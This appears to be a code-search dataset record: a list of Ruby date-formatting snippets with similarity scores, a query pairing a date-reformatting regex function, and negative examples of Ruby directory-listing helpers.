"def imply_dates\n return unless !@properties['end'].nil? && !@properties['start'].nil?\n\n start_date = nil\n\n @properties['start'].each do |start_val|\n if start_val =~ /^(\\d{4}-[01]\\d-[0-3]\\d)/\n start_date = Regexp.last_match(1) if start_date.nil?\n elsif start_val =~ /^(\\d{4}-[0-3]\\d\\d)/\n start_date = Regexp.last_match(1) if start_date.nil?\n end\n end\n\n unless start_date.nil?\n @properties['end'].map! do |end_val|\n if end_val.match?(/^\\d{4}-[01]\\d-[0-3]\\d/)\n end_val\n elsif end_val.match?(/^\\d{4}-[0-3]\\d\\d/)\n end_val\n else\n start_date + ' ' + end_val\n end\n end\n end\n end",
"def split_into_start_and_end(string)\n super(string)\n string = string.split(\"-\")\n string = string[0].split(\"and\") if string.size == 1\n string = string[0].split(\"&\") if string.size == 1\n string = string[0].split(\"through\") if string.size == 1\n string = string[0].split(\"to\") if string.size == 1\n string\n end",
"def left_senedd\n representations.last.end_log_date\n end",
"def process_claim_start_and_end_dates(c,date_qualifier)\n if date_qualifier == \"434\" or date_qualifier == \"472\"\n service_dates = c[1].split(\"-\")\n @claim_information[\"claim_statement_period_start_date\"] = service_dates[0].to_s if @claim_information.claim_statement_period_start_date.nil?\n @claim_information[\"claim_statement_period_end_date\"] = service_dates.length == 2 ? service_dates[1].to_s : service_dates[0].to_s if @claim_information.claim_statement_period_end_date.nil?\n elsif date_qualifier == \"435\" or date_qualifier == \"096\"\n if date_qualifier == \"435\"\n @claim_information[\"claim_statement_period_start_date\"] = c[1] if @claim_information.claim_statement_period_start_date.nil?\n @service_from_date = @claim_information.claim_statement_period_start_date\n else\n @claim_information[\"claim_statement_period_end_date\"] = c[1] if @claim_information.claim_statement_period_end_date.nil?\n @service_to_date = @claim_information.claim_statement_period_end_date\n end\n end\n end",
"def statement_from_date\n unless claim_start_date.blank?\n claim_date_elements = []\n claim_date_elements << 'DTM'\n claim_date_elements << '232'\n claim_date_elements << claim_start_date.strftime(\"%Y%m%d\")\n claim_date_elements.join(@element_seperator)\n end\n end",
"def split_date(string)\n case string\n when /\\sat\\s/\n split = string.split(\" at \")\n { date: normalize_date_pair([split.first]), time: split.last.split(\" - \") }\n when /\\s-\\s/\n { date: normalize_date_pair(string.split(\" - \")), time: nil }\n when /^after /\n { date: normalize_date_pair([string.gsub(\"after\", \"\").strip]), time: nil }\n else\n { date: normalize_date_pair([string]), time: nil }\n end\n end",
"def period_helper\n \"#{@sprint_start_date } - #{@sprint_end_date}\"\n end",
"def transform_separation_pay_received_date\n received_date = form_data.dig('servicePay', 'separationPay', 'receivedDate')\n breakout_date_components(date: received_date)\n end",
"def date_time_reference\n ['DTM', '405', @batch.date.strftime(\"%Y%m%d\")].join(@element_seperator)\n end",
"def formatFullDateRange(startdate, enddate)\n startdate.strftime(\"%B %-d\") + \" - \" + enddate.strftime(\"%B %-d, %Y\")\n end",
"def format_date2(date)\n date.gsub(/\\A(\\d{4})([\\-\\/])(\\d\\d)([\\-\\/])(\\d\\d)\\z/, '\\5.\\3.\\1')\nend",
"def pretty_date\n from_index[:modified].sub(/(\\d{4})(\\d{2})(\\d{2})\\d{6}/,'\\1-\\2-\\3')\n end",
"def transform_disability_approximate_begin_dates\n disabilities = form_data.dig('disabilities')\n\n disabilities.map do |disability|\n next if disability['approximateBeginDate'].blank?\n\n disability['approximateBeginDate'] = breakout_date_components(date: disability['approximateBeginDate'])\n\n disability['secondaryDisabilities'] ||= []\n disability['secondaryDisabilities'].map do |secondary_disability|\n next if secondary_disability['approximateBeginDate'].blank?\n\n secondary_disability['approximateBeginDate'] = breakout_date_components(\n date: secondary_disability['approximateBeginDate']\n )\n\n secondary_disability\n end\n\n disability\n end\n end",
"def ending(ends_at)\n merge(until: ends_at)\n end",
"def format_date\n chars = @date.split('')\n chars.pop(6)\n chars.join('')\n end",
"def format_date(str)\n# str.gsub(/^(\\d\\d\\d\\d)[-|\\/](\\d\\d)[-|\\/](\\d\\d)$/, '\\3.\\2.\\1')\n str.sub(/^(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)$/, '\\3.\\2.\\1')\n .sub(/^(\\d\\d\\d\\d)\\/(\\d\\d)\\/(\\d\\d)$/, '\\3.\\2.\\1')\nend",
"def rangify_time_boundaries(src)\n src.split(\"..\").inject{ |s,e| s.split(\".\").inject{|n,m| n.to_i.send(m)}..e.split(\".\").inject{|n,m| n.to_i.send(m) }}\n end",
"def processField008(field)\n return nil if field.nil?\n field = field.value[6..15]\n if field[0] == \"p\" or field[0] == \"r\"\n \n first_date = field[1..4]\n second_date = field[5..9]\n start_date = first_date.gsub(\"u\", \"9\").to_i\n end_date = second_date.gsub(\"u\", \"9\").to_i\n \n if ( start_date > end_date && !second_date.include?(\"u\") )\n # if the secondDate is lower and there was not a \"u\" in the date field.\n return MARC::DataField.new('980', '', ' ', ['a', end_date], ['b', \"008\"], ['c', field[0] ])\n elsif ( start_date > end_date && second_date.include?(\"u\") ) \n # if the 2nd date is lower and there was a 'u', this means we need to add a date range.\n start_date = end_date - 9\n return MARC::DataField.new('980', '', ' ', ['a', \"#{start_date}-#{end_date}\"], ['b', \"008\"], ['c', field[0] ])\n elsif ( first_date.include?(\"u\") )\n # first date is larger, but there's a 'u' so, it needs a range. \n end_date = start_date - 9\n return MARC::DataField.new('980', '', ' ', ['a', \"#{start_date}-#{end_date}\"], ['b', \"008\"], ['c', field[0] ])\n else\n # at this point, we assume first date was larger and no 'u' so we just add the first date\n return MARC::DataField.new('980', '', ' ', ['a', start_date], ['b', \"008\"], ['c', field[0] ])\n end\n\n end\n end",
"def date_from(db, str)\n return db.from(:observation_period).get { min(:observation_period_start_date) } if str.upcase == 'START'\n return db.from(:observation_period).get { max(:observation_period_end_date) } if str.upcase == 'END'\n return str\n end",
"def generate_prefix(date1, date2)\n prefix = date1.strftime('%Y%m%d')\n return prefix += \"-\"+date2.strftime('%Y%m%d') if date1.year != date2.year\n return prefix += \"-\"+date2.strftime('%m%d') if date1.mon != date2.mon\n return prefix += \"-\"+date2.strftime('%d') if date1.mday != date2.mday\n return prefix\n end",
"def to_s\n \"#{start_date_as_string}-#{end_date_as_string}\"\n end",
"def formatshortenedDateRange(startdate, enddate)\n startdate.strftime(\"%b. %-d\") + \" - \" + enddate.strftime(\"%b. %-d, %Y\")\n end",
"def format_date(original_date)\n date_regex = /\\A(\\d\\d\\d\\d)([\\-\\/])(\\d\\d)\\2(\\d\\d)\\z/\n original_date.sub(date_regex, '\\4.\\3.\\1')\nend",
"def reverse_date_parse(time_string) # \"03/25/2015\" => 2015-03-26 11:00:00 -0600\n array = []\n @time_o = time_string.to_s.split('/') # [\"03\", \"25\", \"2015\"]\n rev = @time_o.reverse # [\"2015\", \"25\", \"03\"]\n rev.push(rev[1]) # [\"2015\", \"25\", \"03\", \"25\"]\n rev.slice!(1) # [\"2015\", \"03\", \"25\"]\n x = rev.join(\"-\")\n array << x\n array.push(\"11:00:00\")\n array.push(\"-0600\")\n @time_o = array.join(\" \") # \"2015-03-25 11:00:00 -0600\"\n end",
"def change_date_format(date)\n if date.include? '/'\n\t date_array = date.split(\"/\")\n\t new_date = date_array[1]+\"/\"+date_array[2]+\"/\"+date_array[0]\n \t\tputs new_date\n \t return new_date\n else\n \t return date\n end\n end",
"def format_date(original_date)\n original_date.sub(/\\A(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)\\z/, '\\3.\\2.\\1')\nend",
"def format_date(original_date)\n original_date.sub(/\\A(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)\\z/, '\\3.\\2.\\1')\nend",
"def aoc_dates\n \"#{start_date.strftime('%d de %b')} al #{end_date.strftime('%d de %b')} de #{end_date.strftime('%Y')}\"\n end",
"def format_date(start_date, end_date = nil)\n dates = start_date.strftime('%D')\n dates << ' -- ' + end_date.strftime('%D') if end_date\n dates\n end",
"def to_s\n \"#{@begin}#{@excl ? \"...\" : \"..\"}#{@end}\"\n end",
"def date_string\n times = []\n showtimes.all.each do |time|\n times << time.date_time\n end\n times = times.sort\n first_date = times.first.to_date.strftime('%m/%d')\n last_date = times.last.to_date.strftime('%m/%d')\n output = first_date\n if last_date != first_date\n output += \" - \" + last_date\n end\n return output\n end",
"def pretty_trxn_dates(delim = ', ')\n trxn_dates.join(delim)\n end",
"def format_date(original_date_str)\n original_date_str.sub(%r{\\A(\\d{4})([-/])(\\d{2})\\2(\\d{2})\\z},'\\4.\\3.\\1')\nend",
"def normalize_date_pair(pair)\n pair = full_year!(pair) if full_year?(pair)\n\n year = pair.map do |x|\n x.match(/\\d{4}/).to_s\n end.reject(&:empty?).first\n\n pair.map do |x|\n x =~ /\\d{4}/ ? x : \"#{x} #{year}\"\n end\n end",
"def day_and_date(date_and_times)\n date_and_times.split(';').first\nend",
"def one_alternate(quiz)\na,b=quiz.to_s.split('.');[a.reverse.gsub(/(\\d{3})(?=\\d)/,'\\1,').reverse,b].join('.')\nend",
"def starts_at_ends_at_combo(obj, format, options = {})\n separator = options[:separator] || \" - \"\n raise \"format is not set\" unless format\n starts_at_string = obj.starts_at && l(obj.starts_at, :format => format)\n ends_at_string = obj.ends_at && l(obj.ends_at, :format => format)\n \"#{starts_at_string}#{separator}#{ends_at_string}\"\n end",
"def format_date(date_str)\n puts date_str.sub(/(\\d{4})([\\-\\/])(\\d{2})\\2(\\d{2})/, '\\4.\\3.\\1') \nend",
"def compute_date_to\n\t\t\t\t\tif self.period.to_sym == :year\n\t\t\t\t\t\tself.to = self.from + 1.year - 1.day\n\t\t\t\t\telsif self.period.to_sym == :month\n\t\t\t\t\t\tself.to = self.from + 1.month - 1.day\n\t\t\t\t\tend\n\t\t\t\tend",
"def adjust_date(date1, date2)\n Jhead.call(\"-da\" << date1 << '-' << date2, @match, @pattern)\n end",
"def claim_to_date\n unless eob.claim_to_date.blank?\n if eob.claim_from_date.strftime(\"%Y%m%d\") == \"20000101\"\n claim_to_date = \"00000000\"\n else\n claim_to_date = eob.claim_to_date.strftime(\"%Y%m%d\")\n end\n Output835.log.info \"Claim To Date:#{eob.claim_to_date}\"\n claim_date_elements = []\n claim_date_elements << 'DTM'\n claim_date_elements << '233'\n claim_date_elements << claim_to_date\n claim_date_elements.join(@element_seperator)\n end\n end",
"def start\n\tself[:date_start].strftime(\"%d.%m.%Y\") || '-'\n end",
"def shorten_to_date(long_date)\n long_date.partition(',')[0]\nend",
"def unitdate_end(unitdate)\n unitdate_parts(unitdate).last\n end",
"def booking_range\n ary = [I18n.localize(begin_date, format: DATE_AND_TIME)]\n if same_day?(begin_date, end_date)\n ary << I18n.localize(end_date, format: '%R') # example: 09:00\n else\n ary << I18n.localize(end_date, format: DATE_AND_TIME)\n end\n ary.join ' - '\n end",
"def directory_name_prefix(date1, date2)\n prefix = date1.strftime('%Y%m%d')\n return prefix += \"-\"+date2.strftime('%Y%m%d') if date1.year != date2.year\n return prefix += \"-\"+date2.strftime('%m%d') if date1.mon != date2.mon\n return prefix += \"-\"+date2.strftime('%d') if date1.mday != date2.mday\n end",
"def merge_periods! #(date1, date2)\n active_periods = self.periods.active\n return if active_periods.size == 1 # nothing to do\n\n first_period = active_periods.shift\n puts \"first period: #{first_period.inspect}\"\n # copy subsequent periods to first active\n active_periods.each_with_index do |period, i|\n # puts \"#{i} period: #{period.inspect}\"\n first_period.used += period.used\n end\n active_periods.each { |p| p.destroy } if first_period.save\n puts \"Done first period: #{first_period.inspect}\"\n end",
"def add_period string2\n \"!?.\".include?(string2[-1]) ? string2 : string2 + \".\"\nend",
"def build_separator(year, month)\n separator = Array.new\n # cycle through days in month\n for d in (1..self.days_in_month(year, month))\n # does this match today?\n if year == Time.now.year && month == Time.now.month && d == Time.now.day then\n separator[d.to_i] = @options[:indicator]\n else\n # append separator to the array\n separator[d.to_i] = Line_Calendar::SEPARATOR_STRING_B\n end\n end\n # trim 0 key and move everything up one\n separator.shift\n return separator\n end",
"def end(value)\n merge(leend: value.iso8601)\n end",
"def format_date(date)\n date.sub(/(\\d\\d\\d\\d)([\\-\\/])(\\d\\d)\\2(\\d\\d)/, '\\4.\\3.\\1')\nend",
"def process_bc_ad_dates(ng_date_elements)\n ng_date_elements.map do |ng_date_element|\n case\n when date_is_edtf?(ng_date_element) && ng_date_element.text.strip == '0'\n ng_date_element.content = \"1 B.C.\"\n when date_is_bc_edtf?(ng_date_element)\n year = ng_date_element.text.strip.gsub(/^-0*/, '').to_i + 1\n ng_date_element.content = \"#{year} B.C.\"\n when date_is_ad?(ng_date_element)\n ng_date_element.content = \"#{ng_date_element.text.strip.gsub(/^0*/, '')} A.D.\"\n end\n ng_date_element\n end\n end",
"def ymd_header\n (@report.start_date.to_date..@report.end_date.to_date).to_a\n end",
"def ymd_header\n (@report.start_date.to_date..@report.end_date.to_date).to_a\n end",
"def to_s\n [@year,@month,@day].join(\"/\")\n end",
"def formatdate(date)\n p date.gsub(/^(\\d{4})([-\\/])(\\d{2})([-\\/])(\\d{2}$)/, '\\5.\\3.\\1') \nend",
"def get_formatted_date(date)\n date = date.gsub(\",\",\"\")\n date = date.gsub(\" \",\"-\")\n arr = date.split(\"-\")\n new_date = arr[1] + \"-\" + arr[2] + \"-\" + arr[3]\n end",
"def periodize(array_or_string)\n if array_or_string.is_a?(Array)\n array_or_string.map do |st|\n periodize(st)\n end\n else\n st = array_or_string\n if st[-1,1] == '>'\n st.sub(/(.*)(<\\/.*?>)/) do |v|\n if $1[-1,1] =~ /[\\.\\?\\!]/\n $1 + $2\n else\n $1 + '.' + $2\n end\n end\n else\n if st[-1,1] =~ /[\\.\\?\\!]/\n st\n else\n st << '.'\n end\n end\n end\n end",
"def active_date_to_string\n unless self.active_start_date.nil? and self.active_stop_date.nil?\n dateFormat = \"%d.%m.%Y\"\n \n return self.active_start_date.strftime(dateFormat) + \" - \" + self.active_stop_date.strftime(dateFormat)\n end\n \n return \"\"\n end",
"def get_previous_date(current_date,date)\n date = date.gsub(\",\",\"\")\n date = date.gsub(\" \",\"-\")\n arr = date.split(\"-\")\n if !(current_date.mday == 1)\n newDay = arr[2].to_i - 1\n if newDay < 10\n newDay = \"0\" + newDay.to_s()\n end\n new_date = arr[1] + \"-\" + newDay.to_s() + \"-\" + arr[3]\n else\n new_date = arr[1] + \"-\" + arr[2]+ \"-\" + arr[3]\n end\n end",
"def header(start_date,end_date) \n \"Changes between #{start_date} and #{end_date}:\"\nend",
"def clean_date(date)\n mo_day_year = date.split(\" \")[0]\n \n return mo_day_year.split(\"/\")\nend",
"def convert_date(date)\r\n if ( date == nil )\r\n return nil\r\n end\r\n string_date = date.to_s\r\n t = string_date.rindex('T')\r\n string_date = string_date.slice(0,t)\r\n string_date \r\nend",
"def claim_to_date\n unless eob.claim_to_date.blank?\n Output835.log.info \"Claim To Date:#{eob.claim_to_date}\"\n claim_date_elements = []\n claim_date_elements << 'DTM'\n claim_date_elements << '233'\n claim_date_elements << eob.claim_to_date.strftime(\"%Y%m%d\")\n claim_date_elements.join(@element_seperator)\n end\n end",
"def format_date(date)\n am_or_pm = date.slice -2..-1\n less_stamp = date.slice(0..7)\n hour = date.slice 0..1\n hour = hour.to_i\n if am_or_pm == \"AM\"\n if hour == 12 # subtract 12\n hour = \"00\"\n puts hour << date.slice(2..7)\n else\n puts date.slice(0..7)\n end\n else\n if hour != 12\n hour = hour + 12\n hour = hour.to_s\n puts hour << date.slice(2..7)\n else\n hour = hour + 1\n hour = hour.to_s\n puts hour << date.slice(2..7)\n end\n end\nend",
"def _backdate(date, range)\n (date - (range-1).days)\n end",
"def parse_dates\n # find date fields\n dates = blue_box.search('//b').map(&:inner_html).select do |tag| \n tag =~ /\\d{2}.\\d{2}.\\d{4}/\n end\n # convert to ruby dates\n dates.map! do |string|\n d, m, y = string.split(\".\").map(&:to_i)\n Date.civil(y, m, d)\n end\n # if there's only one date in the tags, time ist unbefristet\n # if there are two, it's befristet, and the more recent date is the start date\n dates << nil if dates.size == 1\n dates\n end",
"def format_date(str)\n str.sub(/^(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)$/, '\\3.\\2.\\1')\nend",
"def end_date_as_string\n as_string @end_date\n end",
"def date_range_s(format = :short)\n return date.year if all_year?\n\n if format == :long\n if start_date == end_date\n date.strftime(\"%-m/%-d/%Y\")\n else\n \"#{start_date.strftime('%-m/%-d/%Y')}-#{end_date.strftime('%-m/%-d/%Y')}\"\n end\n else\n start_date_s = \"#{start_date.month}/#{start_date.day}\"\n if start_date == end_date\n start_date_s\n elsif start_date.month == end_date.month\n \"#{start_date_s}-#{end_date.day}\"\n else\n \"#{start_date_s}-#{end_date.month}/#{end_date.day}\"\n end\n end\n end",
"def strip_end(str)\n str.split('.')[0..-3].join('.')\nend",
"def format_date(date)\n date.gsub(/^(\\d{4})-(\\d{2})-(\\d{2}$)/, '\\3.\\2.\\1') #capture groups make this way easier!\nend",
"def date_value\n @value.map do |date|\n date.split(\"/\").map do |d|\n if year_only(date.split(\"/\"))\n Date.parse(d).strftime(\"%Y\")\n else\n Date.parse(d).strftime(\"%m/%d/%Y\")\n end\n end.join(\"-\")\n end\n rescue => e\n Rails.logger.warn e.message\n @value\n end",
"def reorganizeTripDate\n @trip.update(time_start: @trip.items.order(:time_start).first.time_start) unless @items.empty?\nputs \"startDATE: #{@trip.time_start}\"\n @trip.update(time_end: (@trip.items.order(:time_end).last.time_end ||\n @trip.items.order(:time_start).last.time_start)) unless @items.empty?\nputs \"end_DATE: #{@trip.time_end}\" \n end",
"def ends_at\n @ends_at ||= begin\n if period == :quarter\n starts_at.advance months: length * 3\n else\n starts_at.advance periods => length\n end\n end\n end"
] | [
"0.604584",
"0.57802063",
"0.55875945",
"0.5489079",
"0.53979397",
"0.53979397",
"0.53945136",
"0.5391855",
"0.53673184",
"0.5326149",
"0.5323566",
"0.5310447",
"0.52827984",
"0.5260241",
"0.52071816",
"0.51606596",
"0.5144447",
"0.51241523",
"0.51030385",
"0.509292",
"0.5080072",
"0.507087",
"0.506389",
"0.5035293",
"0.5031391",
"0.5022926",
"0.50211626",
"0.5017183",
"0.5012313",
"0.50122285",
"0.5009593",
"0.5007512",
"0.5003979",
"0.4967084",
"0.49668673",
"0.4953441",
"0.49526292",
"0.49328452",
"0.49127135",
"0.49079585",
"0.4901574",
"0.48898694",
"0.48818138",
"0.48647216",
"0.4852899",
"0.48341355",
"0.4820192",
"0.4818682",
"0.4808191",
"0.48076123",
"0.48050338",
"0.48050338",
"0.4785313",
"0.47779256",
"0.47778094",
"0.477532",
"0.47732565",
"0.47718868",
"0.4768582",
"0.47596955",
"0.4755702",
"0.4755456",
"0.4753358",
"0.47520307",
"0.47486818",
"0.47424775",
"0.4740501",
"0.47353184",
"0.4727666",
"0.47210914",
"0.4719695",
"0.469882",
"0.46949282",
"0.4692811",
"0.46682873",
"0.46646312",
"0.46619436",
"0.46594116",
"0.46594116",
"0.4657978",
"0.4657942",
"0.46546513",
"0.46510047",
"0.4643338",
"0.4620745",
"0.4619992",
"0.46078095",
"0.45966488",
"0.45888606",
"0.45875213",
"0.45865273",
"0.45769686",
"0.45765528",
"0.4575637",
"0.45733425",
"0.45689654",
"0.45654634",
"0.45641068",
"0.45631164",
"0.4562694"
] | 0.5280726 | 13 |
(no change) ls solution | def format_date(original_date)
original_date.sub(/\A(\d\d\d\d)-(\d\d)-(\d\d)\z/, '\3.\2.\1')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def ls(path = \"\")\n\t\tcmd 'ls ' + path.to_s\n\tend",
"def ls\n table Dir.entries( Dir.pwd ).reject { |f| f.match /^\\..*$/ }\n end",
"def ls\n Dir.entries(@working_dir)\n end",
"def fls(file)\n end",
"def do_ls()\n\t\tif @system_type == WINDOWS then \n\t\t\treturn %x(dir #{@path})\n\t\tend \n\t\tif @system_type == UNIX then \n\t\t\treturn %x(ls #{@path})\n\t\tend\n\tend",
"def print_ls(path = '/')\n elements = ls(path)\n elements.each do |e|\n puts e.longname\n end\n end",
"def dir(*) end",
"def ls(filename)\n if File.directory?(filename)\n puts(Dir['./' + filename + '/*'])\n elsif File.file?(filename)\n puts(filename)\n else \n puts(\"error\")\n end\nend",
"def tree\n # Caution: use only for small projects, don't use in root.\n $title = \"Full Tree\"\n $files = `zsh -c 'print -rl -- **/*(#{$sorto}#{$hidden}M)'`.split(\"\\n\")\nend",
"def ls(path) \n ary = Array.new\n Dir.chdir(path) {\n Dir.glob(\"*\").each {|dir|\n ary.push(dir)\n }\n }\n return ary\nend",
"def ls_r path\n ls(path).inject([]){|rec_paths,path| rec_paths << path; rec_paths << ls(path) unless file?(path); rec_paths}.flatten\n end",
"def list\n Lib.list @path, @no_follow\n end",
"def ls(path = '.')\n Cd.cd.ls(path)\n end",
"def get_ls(path)\n #repo = @repo\n #head = repo.commits.first\n #tree = head.tree @branch\n\n tree = @repo.tree @branch\n\n #strip trailing /\n path.sub! /[\\/]*$/, ''\n\n # find dir\n while !path.empty?\n tdir = tree / path\n break if tdir.is_a?(Grit::Tree)\n # strip last conponent to /\n path.sub! /(^|\\/)[^\\/]*$/, ''\n end\n\n if path.empty?\n tdir = tree\n else\n path += '/'\n end\n print \"path:\", path, \"\\n\"\n print \"tdir:\", tdir, \"\\n\"\n\n files = tdir.blobs.map do |b|\n { path: \"#{path}#{b.name}\", name: b.name, siz: b.size }\n end\n dirs = tdir.trees.map do |t|\n { path: \"#{path}#{t.name}\", name: t.name}\n end\n if !path.empty?\n dirs.push( { path: path.sub(/(^|\\/)[^\\/]*\\/$/, ''),\n name: '..'} )\n end\n\n [files, dirs, path]\n end",
"def ls(io = STDOUT)\n io.puts(entries.map(&:ls).join(\"\\n\"))\n end",
"def list\n factory.system.list(@path).collect do |item|\n candidate = dir(item)\n if (not candidate.exists?)\n candidate = file(item)\n end\n candidate\n end\n end",
"def dir; end",
"def dir; end",
"def dir; end",
"def LoteDeCarga()\n print \" #=============================================================================#\\n\"\n print \"\\tLote de carga en ejecucion...\\n\"\n print \" #-----------------------------------------------------------------------------#\\n\"\n print \"\\tDetectando Cuits...\\n\"\n print \" #-----------------------------------------------------------------------------#\\n\"\n aux = []\n cont = 0\n Dir.chdir(\"C:\\\\SFTP\\\\Tickets\")\n Dir.foreach('.') do |item|\n next if item == '.' or item == '..'\n if File.directory?(item)\n print \"\\tCuit encontrado -> \" + item + \"...\\n\"\n aux[cont] = item\n cont += 1\n end\n end\n return aux\nend",
"def ls(arg)\n system \"vi #{arg}\"\nend",
"def run_ls(cmds = [\"ls\"])\n begin\n option = cmds[1] || \"\"\n if (option == \"-l\" or option.blank?)\n items = file_system_for_current.children\n partial = (option == \"-l\") ? \"long\" : \"short\"\n s = render_to_string(:partial => \"shared/ls/#{ partial }\", :locals => { :items => items })\n else\n s = \"ls: illegal option -- #{ option }<br/>usage: ls [-l]\"\n end\n rescue\n s = \"#{$!}\"\n end\n s\n end",
"def list_files_from path,opts = {}\n unless Dir.exists? path\n Logger.<<(__FILE__,\"ERROR\",\"Local fetcher: path does not exists for listing... #{path} \")\n raise \"Error LocalFileFetcher !\"\n end\n if opts[:directories]\n cmd = \"ls -td #{path}/*/\"\n else\n cmd = \"ls #{path}\"\n cmd += \"/#{opts[:regexp]}\" if opts[:regexp]\n end\n out = `#{cmd}`\n return out.split(\"\\n\")\n end",
"def make_inventory\n Dir.glob('**/*').sort.each {|f| puts f}\nend",
"def find(dirs); end",
"def tree\n # Caution: use only for small projects, don't use in root.\n @title = 'Full Tree'\n # @files = `zsh -c 'print -rl -- **/*(#{@sorto}#{@hidden}M)'`.split(\"\\n\")\n @files = Dir['**/*']\n message \"#{@files.size} files.\"\nend",
"def ls(path)\n # FIXME: remove 'path' from listing?\n list(path, false, true)\n end",
"def cmd_ls(*args)\n\t\tpath = args[0] || client.fs.dir.getwd\n\t\ttbl = Rex::Ui::Text::Table.new(\n\t\t\t'Header' => \"Listing: #{path}\",\n\t\t\t'Columns' =>\n\t\t\t\t[\n\t\t\t\t\t'Mode',\n\t\t\t\t\t'Size',\n\t\t\t\t\t'Type',\n\t\t\t\t\t'Last modified',\n\t\t\t\t\t'Name',\n\t\t\t\t])\n\n\t\titems = 0\n\n\t\t# Enumerate each item...\n\t\tclient.fs.dir.entries_with_info(path).sort { |a,b| a['FileName'] <=> b['FileName'] }.each { |p|\n\n\t\t\ttbl <<\n\t\t\t\t[\n\t\t\t\t\tp['StatBuf'] ? p['StatBuf'].prettymode : '',\n\t\t\t\t\tp['StatBuf'] ? p['StatBuf'].size : '',\n\t\t\t\t\tp['StatBuf'] ? p['StatBuf'].ftype[0,3] : '',\n\t\t\t\t\tp['StatBuf'] ? p['StatBuf'].mtime : '',\n\t\t\t\t\tp['FileName'] || 'unknown'\n\t\t\t\t]\n\n\t\t\titems += 1\n\t\t}\n\n\t\tif (items > 0)\n\t\t\tprint(\"\\n\" + tbl.to_s + \"\\n\")\n\t\telse\n\t\t\tprint_line(\"No entries exist in #{path}\")\n\t\tend\n\n\t\treturn true\n\tend",
"def list_all_in_current_directory\n Dir.glob('**/*').sort\nend",
"def ls dir,regex = \"\"\n cmd = regex.empty? ? \"ls #{dir}\" : \"ls #{File.join(dir,regex)}\"\n exec_cmd(cmd) \n end",
"def ls(directory)\n out = []\n tmp = cmd_exec(\"ls -a -m #{directory}\")\n tmp = session.remove_colors(tmp)\n if tmp\n tmp.delete!(\"\\r\")\n tmp.delete!(\"\\n\")\n tmp.split(/,\\s{0,1}/).each do |f|\n next if f.empty?\n next if f == './'\n next if f == '../'\n next if f == '.'\n next if f == '..'\n out << f\n end\n end\n out\n end",
"def glob; end",
"def list_files(env, res, tag, path)\n files = []\n git(\"ls-tree\", \"-z\", \"#{tag}:#{path}\") do |io|\n io.each_line(\"\\0\") do |line|\n line.chomp!(\"\\0\")\n #STDERR.puts line\n info, file = line.split(/\\t/, 2)\n mode, type, object = info.split(/ /)\n files << {\n :mode => mode,\n :type => type,\n :object => object,\n :file => file,\n }\n end\n end\n files = files.sort_by{|h| h[:file] }\n E_list_files.result(binding)\n end",
"def list_files_from (path,opts = {})\n safe_fetch do\n list_files = Set.new\n var = \"Search in #{path} at #{@host}... \"\n cmd = \"find #{path}\"\n cmd = \"(cd #{path} && ls \" ### dont know why cd alone doesn't work\n cmd << \"-td */\" if opts[:directories]\n cmd << opts[:regexp] if opts[:regexp]\n cmd << \" 2>/dev/null)\"\n out = @ssh.exec!(cmd)\n list_files = out.split\n list_files = out.split(\"/\\n\") if opts[:directories]\n\n var << \"Found #{list_files.size} entries\\n\"\n Logger.<<(__FILE__,\"INFO\",var)\n list_files\n end\n end",
"def sub_listing switch\n path = ::File.join(@source.base_dir,switch)\n folders = folders_listing path\n folders = folders_filtering folders\n files = []\n folders.each do |folder|\n files += files_listing folder\n end\n files\n end",
"def cmd_list(param)\n send_unauthorised and return unless logged_in?\n send_response \"150 Opening ASCII mode data connection for file list\"\n\n param = '' if param.to_s == '-a'\n\n dir = File.join(@name_prefix.to_s, param.to_s)\n\n now = Time.now\n\n items = list_dir(build_path(param))\n lines = items.map do |item|\n \"#{item.directory ? 'd' : '-'}#{item.permissions || 'rwxrwxrwx'} 1 #{item.owner || 'owner'} #{item.group || 'group'} #{item.size || 0} #{(item.time || now).strftime(\"%b %d %H:%M\")} #{item.name}\"\n end\n send_outofband_data(lines)\n # send_action_not_taken\n end",
"def directories; end",
"def directories; end",
"def okdir(command)\n end",
"def get_folder_list\n\n ################################\n # \n # prep: list\n #\n ################################\n #ref __FILE__ http://stackoverflow.com/questions/37101151/what-does-file-program-name-mean-in-ruby\n path = Pathname.new(__FILE__)\n# path = Pathname.new('.')\n \n #ref https://ruby-doc.org/stdlib-2.1.0/libdoc/pathname/rdoc/Pathname.html\n p \"path.dirname => #{path.dirname}\"\n \n dpath = path.dirname\n# dpath = \"c:/works_2\"\n \n #ref http://stackoverflow.com/questions/1899072/getting-a-list-of-folders-in-a-directory\n Dir.chdir(dpath)\n# Dir.chdir(\"c:/works_2\")\n# Dir.chdir(path.dirname)\n# Dir.chdir('/destination_directory')\n# list = Dir.glob('*').select\n# list = Dir.glob('*').select {|f| File.directory? f}\n files = Dir.glob('*').select {|f| File.file? f}\n dirs = Dir.glob('*').select {|f| File.directory? f}\n \n puts\n puts \"[#{__LINE__}] directory => #{dpath}\" \n \n puts\n puts \"[#{__LINE__}] folders ....\"\n p dirs\n \n puts\n puts \"[#{__LINE__}] files ....\"\n p files.sort\n# p files\n \n# p files.methods.sort\n \n# p __FILE__\n \n# target_directory = \n# \n# Dir.chdir('/destination_directory')\n## Dir.chdir('/destination_directory')\n# \n# list = Dir.glob('*').select {|f| File.directory? f}\n# \n# p list\n \n ################################\n # \n # file: write data\n #\n ################################\n time_label = get_time_label(\"serial\")\n \n fname = \"directory_list.#{time_label}.txt\"\n \n f = File.new(fname, \"w\")\n \n # header\n f.write(\"program file path = #{FILE_PATH}\")\n f.write(\"\\n\")\n f.write(\"version = #{VERSION}\")\n f.write(\"\\n\")\n \n f.write(\"list file created at = #{time_label}\")\n f.write(\"\\n\")\n \n f.write(\"dir path = #{dpath}\")\n f.write(\"\\n\")\n f.write(\"dirs = #{dirs.size}\")\n f.write(\"\\n\")\n f.write(\"files = #{files.size}\")\n f.write(\"\\n\")\n f.write(\"\\n\")\n \n # data: dirs\n f.write \"<directories> #{dirs.size}\"\n f.write \"\\n\"\n \n dirs.each do |elem|\n \n f.write(elem)\n f.write(\"\\n\")\n \n end\n \n f.write(\"\\n\")\n f.write(\"\\n\")\n \n # data: files\n f.write \"<files> #{files.size}\"\n f.write \"\\n\"\n\n files.each do |elem|\n \n f.write(elem)\n f.write(\"\\n\")\n \n end\n \n f.close\n \n puts \"[#{__LINE__}] file written => #{fname}\"\n \nend",
